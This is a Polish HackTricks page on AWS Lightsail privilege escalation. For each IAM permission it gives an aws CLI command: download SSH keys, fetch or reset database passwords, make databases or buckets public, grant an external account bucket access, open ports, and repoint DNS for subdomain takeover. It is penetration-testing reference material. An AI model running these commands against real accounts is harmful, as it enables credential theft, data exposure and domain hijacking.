AWS - Lightsail Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Lightsail

Aby uzyskać więcej informacji o Lightsail zobacz:

AWS - Lightsail Enum

Warning

Należy pamiętać, że Lightsail nie używa IAM roles należących do użytkownika lecz do AWS managed account, więc nie możesz wykorzystać tej usługi do privesc. Jednak wrażliwe dane takie jak code, API keys i database info mogą zostać znalezione w tej usłudze.

lightsail:DownloadDefaultKeyPair

To uprawnienie pozwoli pobrać SSH keys służące do dostępu do instancji:

aws lightsail download-default-key-pair

Potencjalny wpływ: Znalezienie wrażliwych informacji wewnątrz instancji.

lightsail:GetInstanceAccessDetails

To uprawnienie umożliwi wygenerowanie kluczy SSH, aby uzyskać dostęp do instancji:

aws lightsail get-instance-access-details --instance-name <instance_name>

Potencjalny wpływ: Znalezienie wrażliwych informacji wewnątrz instancji.

lightsail:CreateBucketAccessKey

To uprawnienie pozwala uzyskać klucz umożliwiający dostęp do bucketu:

aws lightsail create-bucket-access-key --bucket-name <name>

Potencjalny wpływ: Znalezienie wrażliwych informacji wewnątrz bucket.

lightsail:GetRelationalDatabaseMasterUserPassword

To uprawnienie pozwoli ci pobrać poświadczenia umożliwiające dostęp do bazy danych:

aws lightsail get-relational-database-master-user-password --relational-database-name <name>

Potencjalny wpływ: Znalezienie poufnych informacji w bazie danych.

lightsail:UpdateRelationalDatabase

To uprawnienie pozwoli ci zmienić hasło dostępu do bazy danych:

aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

Jeśli baza danych nie jest publiczna, możesz także uczynić ją publiczną, nadając te uprawnienia:

aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

Potencjalny wpływ: Znalezienie wrażliwych informacji w bazie danych.

lightsail:OpenInstancePublicPorts

To uprawnienie pozwala na otwarcie portów do Internetu

aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

Potencjalny wpływ: Dostęp do wrażliwych portów.

lightsail:PutInstancePublicPorts

To uprawnienie pozwala otworzyć porty do Internetu. Zwróć uwagę, że wywołanie zamknie wszystkie otwarte porty, które nie są w nim wyspecyfikowane.

aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

Potencjalny wpływ: Dostęp do wrażliwych portów.

lightsail:SetResourceAccessForBucket

To uprawnienie pozwala nadać instancjom dostęp do bucketu bez dodatkowych poświadczeń.

aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

Potencjalny wpływ: Nowy dostęp do buckets zawierających wrażliwe informacje.

lightsail:UpdateBucket

Dzięki temu uprawnieniu atakujący mógłby przyznać swojemu kontu AWS dostęp do odczytu do buckets lub nawet uczynić buckets publicznymi dla wszystkich:

# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

Potential Impact: Potencjalny nowy dostęp do buckets z poufnymi informacjami.

lightsail:UpdateContainerService

Dzięki tym uprawnieniom atakujący mógłby przyznać dostęp do prywatnych ECRs z containers service

aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

Potential Impact: Uzyskanie wrażliwych informacji z prywatnego ECR

lightsail:CreateDomainEntry

Atakujący posiadający to uprawnienie może utworzyć subdomenę i wskazać ją na swój adres IP (subdomain takeover), albo skonfigurować rekord SPF, który pozwoli mu na spoof emails z domeny, a nawet ustawić główną domenę na swój adres IP.

aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Potencjalny wpływ: Przejęcie domeny

lightsail:UpdateDomainEntry

Atakujący z tym uprawnieniem mógłby utworzyć subdomenę i wskazać ją na swój adres IP (subdomain takeover), albo stworzyć rekord SPF, który pozwoli mu podszywać się pod adresy e-mail z tej domeny, a nawet ustawić główną domenę na swój adres IP.

aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Potencjalny wpływ: Przejęcie domeny

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks